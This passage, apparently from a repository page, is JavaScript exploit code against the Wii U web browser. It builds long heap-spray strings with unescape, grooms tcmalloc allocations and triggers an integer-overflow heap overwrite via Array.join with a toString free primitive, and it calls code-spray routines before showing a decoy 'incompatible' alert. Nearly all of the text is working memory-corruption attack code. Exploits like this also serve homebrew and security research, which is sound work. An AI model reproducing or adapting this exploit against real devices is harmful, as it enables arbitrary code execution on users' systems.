str += unescape("%u0000%u7400%u0000%u7404%u0000%u7408%u0000%u740c%u0000%u7410%u0000%u7414%u0000%u7418%u0000%u741c%u0000%u7420%u0000%u7424%u0000%u7428%u0000%u742c%u0000%u7430%u0000%u7434%u0000%u7438%u0000%u743c");
|
||||
str += unescape("%u0000%u7440%u0000%u7444%u0000%u7448%u0000%u744c%u0000%u7450%u0000%u7454%u0000%u7458%u0000%u745c%u0000%u7460%u0000%u7464%u0000%u7468%u0000%u746c%u0000%u7470%u0000%u7474%u0000%u7478%u0000%u747c");
|
||||
str += unescape("%u0000%u7480%u0000%u7484%u0000%u7488%u0000%u748c%u0000%u7490%u0000%u7494%u0000%u7498%u0000%u749c%u0000%u74a0%u0000%u74a4%u0000%u74a8%u0000%u74ac%u0000%u74b0%u0000%u74b4%u0000%u74b8%u0000%u74bc");
|
||||
str += unescape("%u0000%u74c0%u0000%u74c4%u0000%u74c8%u0000%u74cc%u0000%u74d0%u0000%u74d4%u0000%u74d8%u0000%u74dc%u0000%u74e0%u0000%u74e4%u0000%u74e8%u0000%u74ec%u0000%u74f0%u0000%u74f4%u0000%u74f8%u0000%u74fc");
|
||||
str += unescape("%u0000%u7500%u0000%u7504%u0000%u7508%u0000%u750c%u0000%u7510%u0000%u7514%u0000%u7518%u0000%u751c%u0000%u7520%u0000%u7524%u0000%u7528%u0000%u752c%u0000%u7530%u0000%u7534%u0000%u7538%u0000%u753c");
|
||||
str += unescape("%u0000%u7540%u0000%u7544%u0000%u7548%u0000%u754c%u0000%u7550%u0000%u7554%u0000%u7558%u0000%u755c%u0000%u7560%u0000%u7564%u0000%u7568%u0000%u756c%u0000%u7570%u0000%u7574%u0000%u7578%u0000%u757c");
|
||||
str += unescape("%u0000%u7580%u0000%u7584%u0000%u7588%u0000%u758c%u0000%u7590%u0000%u7594%u0000%u7598%u0000%u759c%u0000%u75a0%u0000%u75a4%u0000%u75a8%u0000%u75ac%u0000%u75b0%u0000%u75b4%u0000%u75b8%u0000%u75bc");
|
||||
str += unescape("%u0000%u75c0%u0000%u75c4%u0000%u75c8%u0000%u75cc%u0000%u75d0%u0000%u75d4%u0000%u75d8%u0000%u75dc%u0000%u75e0%u0000%u75e4%u0000%u75e8%u0000%u75ec%u0000%u75f0%u0000%u75f4%u0000%u75f8%u0000%u75fc");
|
||||
str += unescape("%u0000%u7600%u0000%u7604%u0000%u7608%u0000%u760c%u0000%u7610%u0000%u7614%u0000%u7618%u0000%u761c%u0000%u7620%u0000%u7624%u0000%u7628%u0000%u762c%u0000%u7630%u0000%u7634%u0000%u7638%u0000%u763c");
|
||||
str += unescape("%u0000%u7640%u0000%u7644%u0000%u7648%u0000%u764c%u0000%u7650%u0000%u7654%u0000%u7658%u0000%u765c%u0000%u7660%u0000%u7664%u0000%u7668%u0000%u766c%u0000%u7670%u0000%u7674%u0000%u7678%u0000%u767c");
|
||||
str += unescape("%u0000%u7680%u0000%u7684%u0000%u7688%u0000%u768c%u0000%u7690%u0000%u7694%u0000%u7698%u0000%u769c%u0000%u76a0%u0000%u76a4%u0000%u76a8%u0000%u76ac%u0000%u76b0%u0000%u76b4%u0000%u76b8%u0000%u76bc");
|
||||
str += unescape("%u0000%u76c0%u0000%u76c4%u0000%u76c8%u0000%u76cc%u0000%u76d0%u0000%u76d4%u0000%u76d8%u0000%u76dc%u0000%u76e0%u0000%u76e4%u0000%u76e8%u0000%u76ec%u0000%u76f0%u0000%u76f4%u0000%u76f8%u0000%u76fc");
|
||||
str += unescape("%u0000%u7700%u0000%u7704%u0000%u7708%u0000%u770c%u0000%u7710%u0000%u7714%u0000%u7718%u0000%u771c%u0000%u7720%u0000%u7724%u0000%u7728%u0000%u772c%u0000%u7730%u0000%u7734%u0000%u7738%u0000%u773c");
|
||||
str += unescape("%u0000%u7740%u0000%u7744%u0000%u7748%u0000%u774c%u0000%u7750%u0000%u7754%u0000%u7758%u0000%u775c%u0000%u7760%u0000%u7764%u0000%u7768%u0000%u776c%u0000%u7770%u0000%u7774%u0000%u7778%u0000%u777c");
|
||||
str += unescape("%u0000%u7780%u0000%u7784%u0000%u7788%u0000%u778c%u0000%u7790%u0000%u7794%u0000%u7798%u0000%u779c%u0000%u77a0%u0000%u77a4%u0000%u77a8%u0000%u77ac%u0000%u77b0%u0000%u77b4%u0000%u77b8%u0000%u77bc");
|
||||
str += unescape("%u0000%u77c0%u0000%u77c4%u0000%u77c8%u0000%u77cc%u0000%u77d0%u0000%u77d4%u0000%u77d8%u0000%u77dc%u0000%u77e0%u0000%u77e4%u0000%u77e8%u0000%u77ec%u0000%u77f0%u0000%u77f4%u0000%u77f8%u0000%u77fc");
|
||||
str += unescape("%u0000%u7800%u0000%u7804%u0000%u7808%u0000%u780c%u0000%u7810%u0000%u7814%u0000%u7818%u0000%u781c%u0000%u7820%u0000%u7824%u0000%u7828%u0000%u782c%u0000%u7830%u0000%u7834%u0000%u7838%u0000%u783c");
|
||||
str += unescape("%u0000%u7840%u0000%u7844%u0000%u7848%u0000%u784c%u0000%u7850%u0000%u7854%u0000%u7858%u0000%u785c%u0000%u7860%u0000%u7864%u0000%u7868%u0000%u786c%u0000%u7870%u0000%u7874%u0000%u7878%u0000%u787c");
|
||||
str += unescape("%u0000%u7880%u0000%u7884%u0000%u7888%u0000%u788c%u0000%u7890%u0000%u7894%u0000%u7898%u0000%u789c%u0000%u78a0%u0000%u78a4%u0000%u78a8%u0000%u78ac%u0000%u78b0%u0000%u78b4%u0000%u78b8%u0000%u78bc");
|
||||
str += unescape("%u0000%u78c0%u0000%u78c4%u0000%u78c8%u0000%u78cc%u0000%u78d0%u0000%u78d4%u0000%u78d8%u0000%u78dc%u0000%u78e0%u0000%u78e4%u0000%u78e8%u0000%u78ec%u0000%u78f0%u0000%u78f4%u0000%u78f8%u0000%u78fc");
|
||||
str += unescape("%u0000%u7900%u0000%u7904%u0000%u7908%u0000%u790c%u0000%u7910%u0000%u7914%u0000%u7918%u0000%u791c%u0000%u7920%u0000%u7924%u0000%u7928%u0000%u792c%u0000%u7930%u0000%u7934%u0000%u7938%u0000%u793c");
|
||||
str += unescape("%u0000%u7940%u0000%u7944%u0000%u7948%u0000%u794c%u0000%u7950%u0000%u7954%u0000%u7958%u0000%u795c%u0000%u7960%u0000%u7964%u0000%u7968%u0000%u796c%u0000%u7970%u0000%u7974%u0000%u7978%u0000%u797c");
|
||||
str += unescape("%u0000%u7980%u0000%u7984%u0000%u7988%u0000%u798c%u0000%u7990%u0000%u7994%u0000%u7998%u0000%u799c%u0000%u79a0%u0000%u79a4%u0000%u79a8%u0000%u79ac%u0000%u79b0%u0000%u79b4%u0000%u79b8%u0000%u79bc");
|
||||
str += unescape("%u0000%u79c0%u0000%u79c4%u0000%u79c8%u0000%u79cc%u0000%u79d0%u0000%u79d4%u0000%u79d8%u0000%u79dc%u0000%u79e0%u0000%u79e4%u0000%u79e8%u0000%u79ec%u0000%u79f0%u0000%u79f4%u0000%u79f8%u0000%u79fc");
|
||||
str += unescape("%u0000%u7a00%u0000%u7a04%u0000%u7a08%u0000%u7a0c%u0000%u7a10%u0000%u7a14%u0000%u7a18%u0000%u7a1c%u0000%u7a20%u0000%u7a24%u0000%u7a28%u0000%u7a2c%u0000%u7a30%u0000%u7a34%u0000%u7a38%u0000%u7a3c");
|
||||
str += unescape("%u0000%u7a40%u0000%u7a44%u0000%u7a48%u0000%u7a4c%u0000%u7a50%u0000%u7a54%u0000%u7a58%u0000%u7a5c%u0000%u7a60%u0000%u7a64%u0000%u7a68%u0000%u7a6c%u0000%u7a70%u0000%u7a74%u0000%u7a78%u0000%u7a7c");
|
||||
str += unescape("%u0000%u7a80%u0000%u7a84%u0000%u7a88%u0000%u7a8c%u0000%u7a90%u0000%u7a94%u0000%u7a98%u0000%u7a9c%u0000%u7aa0%u0000%u7aa4%u0000%u7aa8%u0000%u7aac%u0000%u7ab0%u0000%u7ab4%u0000%u7ab8%u0000%u7abc");
|
||||
str += unescape("%u0000%u7ac0%u0000%u7ac4%u0000%u7ac8%u0000%u7acc%u0000%u7ad0%u0000%u7ad4%u0000%u7ad8%u0000%u7adc%u0000%u7ae0%u0000%u7ae4%u0000%u7ae8%u0000%u7aec%u0000%u7af0%u0000%u7af4%u0000%u7af8%u0000%u7afc");
|
||||
str += unescape("%u0000%u7b00%u0000%u7b04%u0000%u7b08%u0000%u7b0c%u0000%u7b10%u0000%u7b14%u0000%u7b18%u0000%u7b1c%u0000%u7b20%u0000%u7b24%u0000%u7b28%u0000%u7b2c%u0000%u7b30%u0000%u7b34%u0000%u7b38%u0000%u7b3c");
|
||||
str += unescape("%u0000%u7b40%u0000%u7b44%u0000%u7b48%u0000%u7b4c%u0000%u7b50%u0000%u7b54%u0000%u7b58%u0000%u7b5c%u0000%u7b60%u0000%u7b64%u0000%u7b68%u0000%u7b6c%u0000%u7b70%u0000%u7b74%u0000%u7b78%u0000%u7b7c");
|
||||
str += unescape("%u0000%u7b80%u0000%u7b84%u0000%u7b88%u0000%u7b8c%u0000%u7b90%u0000%u7b94%u0000%u7b98%u0000%u7b9c%u0000%u7ba0%u0000%u7ba4%u0000%u7ba8%u0000%u7bac%u0000%u7bb0%u0000%u7bb4%u0000%u7bb8%u0000%u7bbc");
|
||||
str += unescape("%u0000%u7bc0%u0000%u7bc4%u0000%u7bc8%u0000%u7bcc%u0000%u7bd0%u0000%u7bd4%u0000%u7bd8%u0000%u7bdc%u0000%u7be0%u0000%u7be4%u0000%u7be8%u0000%u7bec%u0000%u7bf0%u0000%u7bf4%u0000%u7bf8%u0000%u7bfc");
|
||||
str += unescape("%u0000%u7c00%u0000%u7c04%u0000%u7c08%u0000%u7c0c%u0000%u7c10%u0000%u7c14%u0000%u7c18%u0000%u7c1c%u0000%u7c20%u0000%u7c24%u0000%u7c28%u0000%u7c2c%u0000%u7c30%u0000%u7c34%u0000%u7c38%u0000%u7c3c");
|
||||
str += unescape("%u0000%u7c40%u0000%u7c44%u0000%u7c48%u0000%u7c4c%u0000%u7c50%u0000%u7c54%u0000%u7c58%u0000%u7c5c%u0000%u7c60%u0000%u7c64%u0000%u7c68%u0000%u7c6c%u0000%u7c70%u0000%u7c74%u0000%u7c78%u0000%u7c7c");
|
||||
str += unescape("%u0000%u7c80%u0000%u7c84%u0000%u7c88%u0000%u7c8c%u0000%u7c90%u0000%u7c94%u0000%u7c98%u0000%u7c9c%u0000%u7ca0%u0000%u7ca4%u0000%u7ca8%u0000%u7cac%u0000%u7cb0%u0000%u7cb4%u0000%u7cb8%u0000%u7cbc");
|
||||
str += unescape("%u0000%u7cc0%u0000%u7cc4%u0000%u7cc8%u0000%u7ccc%u0000%u7cd0%u0000%u7cd4%u0000%u7cd8%u0000%u7cdc%u0000%u7ce0%u0000%u7ce4%u0000%u7ce8%u0000%u7cec%u0000%u7cf0%u0000%u7cf4%u0000%u7cf8%u0000%u7cfc");
|
||||
str += unescape("%u0000%u7d00%u0000%u7d04%u0000%u7d08%u0000%u7d0c%u0000%u7d10%u0000%u7d14%u0000%u7d18%u0000%u7d1c%u0000%u7d20%u0000%u7d24%u0000%u7d28%u0000%u7d2c%u0000%u7d30%u0000%u7d34%u0000%u7d38%u0000%u7d3c");
|
||||
str += unescape("%u0000%u7d40%u0000%u7d44%u0000%u7d48%u0000%u7d4c%u0000%u7d50%u0000%u7d54%u0000%u7d58%u0000%u7d5c%u0000%u7d60%u0000%u7d64%u0000%u7d68%u0000%u7d6c%u0000%u7d70%u0000%u7d74%u0000%u7d78%u0000%u7d7c");
|
||||
str += unescape("%u0000%u7d80%u0000%u7d84%u0000%u7d88%u0000%u7d8c%u0000%u7d90%u0000%u7d94%u0000%u7d98%u0000%u7d9c%u0000%u7da0%u0000%u7da4%u0000%u7da8%u0000%u7dac%u0000%u7db0%u0000%u7db4%u0000%u7db8%u0000%u7dbc");
|
||||
str += unescape("%u0000%u7dc0%u0000%u7dc4%u0000%u7dc8%u0000%u7dcc%u0000%u7dd0%u0000%u7dd4%u0000%u7dd8%u0000%u7ddc%u0000%u7de0%u0000%u7de4%u0000%u7de8%u0000%u7dec%u0000%u7df0%u0000%u7df4%u0000%u7df8%u0000%u7dfc");
|
||||
str += unescape("%u0000%u7e00%u0000%u7e04%u0000%u7e08%u0000%u7e0c%u0000%u7e10%u0000%u7e14%u0000%u7e18%u0000%u7e1c%u0000%u7e20%u0000%u7e24%u0000%u7e28%u0000%u7e2c%u0000%u7e30%u0000%u7e34%u0000%u7e38%u0000%u7e3c");
|
||||
str += unescape("%u0000%u7e40%u0000%u7e44%u0000%u7e48%u0000%u7e4c%u0000%u7e50%u0000%u7e54%u0000%u7e58%u0000%u7e5c%u0000%u7e60%u0000%u7e64%u0000%u7e68%u0000%u7e6c%u0000%u7e70%u0000%u7e74%u0000%u7e78%u0000%u7e7c");
|
||||
str += unescape("%u0000%u7e80%u0000%u7e84%u0000%u7e88%u0000%u7e8c%u0000%u7e90%u0000%u7e94%u0000%u7e98%u0000%u7e9c%u0000%u7ea0%u0000%u7ea4%u0000%u7ea8%u0000%u7eac%u0000%u7eb0%u0000%u7eb4%u0000%u7eb8%u0000%u7ebc");
|
||||
str += unescape("%u0000%u7ec0%u0000%u7ec4%u0000%u7ec8%u0000%u7ecc%u0000%u7ed0%u0000%u7ed4%u0000%u7ed8%u0000%u7edc%u0000%u7ee0%u0000%u7ee4%u0000%u7ee8%u0000%u7eec%u0000%u7ef0%u0000%u7ef4%u0000%u7ef8%u0000%u7efc");
|
||||
str += unescape("%u0000%u7f00%u0000%u7f04%u0000%u7f08%u0000%u7f0c%u0000%u7f10%u0000%u7f14%u0000%u7f18%u0000%u7f1c%u0000%u7f20%u0000%u7f24%u0000%u7f28%u0000%u7f2c%u0000%u7f30%u0000%u7f34%u0000%u7f38%u0000%u7f3c");
|
||||
str += unescape("%u0000%u7f40%u0000%u7f44%u0000%u7f48%u0000%u7f4c%u0000%u7f50%u0000%u7f54%u0000%u7f58%u0000%u7f5c%u0000%u7f60%u0000%u7f64%u0000%u7f68%u0000%u7f6c%u0000%u7f70%u0000%u7f74%u0000%u7f78%u0000%u7f7c");
|
||||
str += unescape("%u0000%u7f80%u0000%u7f84%u0000%u7f88%u0000%u7f8c%u0000%u7f90%u0000%u7f94%u0000%u7f98%u0000%u7f9c%u0000%u7fa0%u0000%u7fa4%u0000%u7fa8%u0000%u7fac%u0000%u7fb0%u0000%u7fb4%u0000%u7fb8%u0000%u7fbc");
|
||||
str += unescape("%u0000%u7fc0%u0000%u7fc4%u0000%u7fc8%u0000%u7fcc%u0000%u7fd0%u0000%u7fd4%u0000%u7fd8%u0000%u7fdc%u0000%u7fe0%u0000%u7fe4%u0000%u7fe8%u0000%u7fec%u0000%u7ff0%u0000%u7ff4%u0000%u7ff8%u0000%u7ffc");
|
||||
|
||||
var h1 = [];
|
||||
h1[0] = str.substring(0, str.length);
|
||||
|
||||
for (i = 1; i <= n; i++)
|
||||
h1[i] = unescape(h1[0]);
|
||||
|
||||
return h1;
|
||||
}
|
||||
|
||||
// Format uint32.
|
||||
function uint32(value){
|
||||
var s = '';
|
||||
for (var i = 0; i < 4; i++) {
|
||||
s += String.fromCharCode((value >> (i * 8)) & 0xff);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
// Memory placeholder.
|
||||
holder = [];
|
||||
|
||||
// Allocate the overwrite string.
|
||||
unbound_payload = uint32(0xffffffff);
|
||||
overwrite_string = alloc(0x1A0, 0) + unbound_payload;
|
||||
|
||||
// Flatten overwrite_string.
|
||||
holder.push(overwrite_string[0]);
|
||||
|
||||
// Build the overwrite array.
|
||||
arr = [];
|
||||
|
||||
// Array to be joined.
|
||||
// 0x10000 * 0x10000 + 0x1A0 + 0x4 = 0x1000001A4
|
||||
// Buffer size is 0x1A4.
|
||||
function build_arr() {
|
||||
arr.length = 0;
|
||||
arr.push(overwrite_string);
|
||||
for (var i = 0; i < 0x10000; i++) {
|
||||
arr.push(long_string);
|
||||
}
|
||||
}
|
||||
|
||||
// Free primitive.
|
||||
var force_alloc_and_free = {
|
||||
toString: build_arr
|
||||
};
|
||||
|
||||
var force_arr = [];
|
||||
force_arr.push(force_alloc_and_free);
|
||||
for (var i = 1; i < 0x1A4/4; i++)
|
||||
{
|
||||
force_arr.push('');
|
||||
}
|
||||
|
||||
// Force allocations to trick tcmalloc.
|
||||
for(var i = 0; i < 1635; i++) {
|
||||
holder.push(alloc(0x1A0 - 0x20, 1));
|
||||
}
|
||||
|
||||
// Create link element.
|
||||
elem = document.createElement("link");
|
||||
|
||||
// Allocate infoleak string.
|
||||
target = alloc(0x1A0 - 0x20, 2);
|
||||
|
||||
// Allocate long string.
|
||||
long_string = alloc(0x10004, 6944); // Decimal of the half-address which is repeated. Ex: 0x1B20 = 0x1B201B20
|
||||
|
||||
// Make and free 0x1A4 bytes.
|
||||
force_arr.join();
|
||||
|
||||
var pointer = sprayInc(420);
|
||||
var code = sprayCode(300);
|
||||
|
||||
arr.join();
|
||||
|
||||
alert("Your Wii U is incompatible.");
|
||||
|
||||
</script>
|
Binary file not shown.
Loading…
Reference in New Issue
Block a user